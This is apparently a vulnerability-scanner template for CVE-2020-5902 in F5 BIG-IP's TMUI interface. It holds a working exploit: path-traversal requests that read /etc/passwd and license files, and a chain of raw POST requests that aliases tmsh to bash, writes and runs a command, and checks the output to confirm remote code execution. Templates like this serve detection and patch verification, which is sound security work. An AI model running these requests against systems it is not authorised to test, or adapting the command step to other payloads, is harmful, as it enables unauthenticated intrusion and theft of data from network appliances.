id: CVE-2020-5902

info:
  name: F5 BIG-IP TMUI RCE
  author: madrobot & dwisiswant0
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:[x*]:0:0:"
          - "BIG-IP release ([\\d.]+)"
          - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
        condition: or
        part: body
  - raw:
      - |
        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)

        command=create%20cli%20alias%20private%20list%20command%20bash
      - |
        POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)

        fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
      - |
        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)

        command=list%20%2Ftmp%2Fnonexistent
      - |
        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)

        command=delete%20cli%20alias%20private%20list
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "h3ll0_w0Rld"